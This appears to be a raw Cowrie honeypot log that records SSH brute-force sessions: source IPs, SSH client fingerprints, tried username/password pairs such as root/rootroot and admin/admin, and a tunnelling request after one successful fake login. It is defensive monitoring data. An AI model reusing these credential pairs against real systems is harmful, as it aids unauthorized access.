{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:08.260973Z","src_ip":"79.116.23.158","session":"49476e5742a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass1234","message":"login attempt [user1/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:08.668816Z","src_ip":"79.116.23.158","session":"49476e5742a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:09.776568Z","src_ip":"79.116.23.158","session":"49476e5742a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59638,"dst_ip":"159.203.135.109","dst_port":22,"session":"14644d90f185","protocol":"ssh","message":"New connection: 159.203.92.129:59638 (159.203.135.109:22) [session: 14644d90f185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:24.394052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:24.412728Z","src_ip":"159.203.92.129","session":"14644d90f185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:24.419970Z","src_ip":"159.203.92.129","session":"14644d90f185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Dawn","password":"Dawn","message":"login attempt [Dawn/Dawn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:24.494611Z","src_ip":"159.203.92.129","session":"14644d90f185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:25.504216Z","src_ip":"159.203.92.129","session":"14644d90f185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":25739,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad325168ba5","protocol":"ssh","message":"New connection: 177.36.200.182:25739 (10.17.0.5:22) [session: 4ad325168ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:36.150231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:36.155887Z","src_ip":"177.36.200.182","session":"4ad325168ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.4758026599884,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:36.281680Z","src_ip":"86.194.247.190","session":"723075de3ef5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:36.554870Z","src_ip":"177.36.200.182","session":"4ad325168ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:37.749262Z","src_ip":"177.36.200.182","session":"4ad325168ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:39.195071Z","src_ip":"177.36.200.182","session":"4ad325168ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":51954,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8f36cde32a3","protocol":"ssh","message":"New connection: 79.116.23.158:51954 (10.17.0.5:22) [session: c8f36cde32a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:01.809974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:01.815869Z","src_ip":"79.116.23.158","session":"c8f36cde32a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:01.930513Z","src_ip":"79.116.23.158","session":"c8f36cde32a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd1","message":"login attempt [test/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:02.402749Z","src_ip":"79.116.23.158","session":"c8f36cde32a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:03.516470Z","src_ip":"79.116.23.158","session":"c8f36cde32a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50414,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1af3c07226","protocol":"ssh","message":"New connection: 159.203.92.129:50414 (159.203.135.109:22) [session: 0b1af3c07226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:06.394026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:06.398503Z","src_ip":"159.203.92.129","session":"0b1af3c07226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:06.404114Z","src_ip":"159.203.92.129","session":"0b1af3c07226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Dawn","password":"Dawn123","message":"login attempt [Dawn/Dawn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:06.415677Z","src_ip":"159.203.92.129","session":"0b1af3c07226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:07.425805Z","src_ip":"159.203.92.129","session":"0b1af3c07226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24744,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4d58ad8094","protocol":"ssh","message":"New connection: 87.251.64.176:24744 (10.17.0.5:22) [session: 0c4d58ad8094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.177357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.182213Z","src_ip":"87.251.64.176","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.281615Z","src_ip":"87.251.64.176","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.570267Z","src_ip":"87.251.64.176","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.668795Z","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.767348Z","src_ip":"87.251.64.176","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:13.865936Z","src_ip":"87.251.64.176","session":"0c4d58ad8094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"7965fc56276d","protocol":"ssh","message":"New connection: 176.65.139.95:59048 (159.203.135.109:22) [session: 7965fc56276d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:16.464943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:16.470499Z","src_ip":"176.65.139.95","session":"7965fc56276d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:16.552818Z","src_ip":"176.65.139.95","session":"7965fc56276d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:24.464841Z","src_ip":"176.65.139.95","session":"7965fc56276d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53542,"dst_ip":"159.203.135.109","dst_port":22,"session":"086226a18c4a","protocol":"ssh","message":"New connection: 176.65.139.95:53542 (159.203.135.109:22) [session: 086226a18c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:41.341158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:41.349964Z","src_ip":"176.65.139.95","session":"086226a18c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh